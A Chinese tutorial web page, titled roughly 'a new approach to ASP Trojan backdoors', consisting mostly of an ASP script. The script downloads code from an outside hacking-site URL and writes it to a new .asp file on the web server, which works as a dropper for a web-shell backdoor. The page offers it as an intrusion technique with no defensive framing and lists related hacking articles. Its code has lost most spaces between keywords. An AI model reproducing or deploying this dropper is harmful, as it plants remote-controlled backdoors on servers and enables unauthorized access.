手机
当前位置:查字典教程网 >实用技巧 >漏洞研究 >ASP木马后门新思路
ASP木马后门新思路
摘要:

<%

FunctionGetPage(url)

dimRetrieval

SetRetrieval=createObject("Microsoft.XMLHTTP")

WithRetrieval

.Open"Get",url,False',"",""

.Send

GetPage=BytesToBstr(.ResponseBody)

EndWith

SetRetrieval=Nothing

EndFunction

FunctionBytesToBstr(body)

dimobjstream

setobjstream=Server.createObject("adodb.stream")

objstream.Type=1

objstream.Mode=3

objstream.Open

objstream.Writebody

objstream.Position=0

objstream.Type=2

objstream.Charset="GB2312"

BytesToBstr=objstream.ReadText

objstream.Close

setobjstream=nothing

EndFunction

onerrorresumenext

Url="http://www.heibai.org/hacker/daemon.txt"

response.write"开始取得远程代码........"

wstr=GetPage(Url)

Setfs=Server.createObject("Scripting.FileSystemObject")

SetCrFi=fs.createTextFile(server.MapPath("./")&"test.asp")

Crfi.Writeline(wstr)

setCrFi=nothing

setfs=nothing

response.write"...<fontcolor=red>生成test.asp文件成功</font>"

%>

【ASP木马后门新思路】相关文章:

基于DoS攻击的随机数据包标记源跟踪算法

“冲击波”病毒的shellcode源代码

跨站脚本攻击+Cookies欺骗(Discuz篇)

BBSXP5.15最新漏洞精简版

破解别人的asp木马密码的方法

渗透技术一瞥(图)

从后台到webshell的一点思路

PollVote投票系统漏洞利用

MySQL Proxy(解决注入的另一思路)

入侵之中杀防火墙进程的代码

精品推荐
分类导航